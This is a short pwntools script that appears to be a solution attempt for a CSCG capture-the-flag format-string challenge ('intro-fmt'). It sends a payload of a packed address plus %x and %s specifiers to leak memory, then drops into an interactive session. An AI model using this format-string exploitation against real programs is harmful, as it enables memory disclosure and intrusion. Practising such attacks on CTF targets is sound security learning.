from pwn import *

# Set the context for the binary
context.binary = './intro-fmt'  # Replace with your binary's name

# Choose local or remote
LOCAL = True # Change to False if connecting remotely

if LOCAL:
    p = process(context.binary.path)
else:
    p = remote("39d9389ef3a77235a475377e-1024-intro-pwn-2.challenge.cscg.live", 1337, ssl=True)# Define functions for convenience
def send_payload(payload):
    p.sendline(payload)

def recv_until(delim):
    return p.recvuntil(delim)

def interact():
    p.interactive()

bug_addr = 0x40406c

# Example interaction
recv_until(b'What is your name?')
payload = b"\x6c\x40\x40 %x %x %x %x %s"
send_payload(payload)

interact()  # Keep the shell open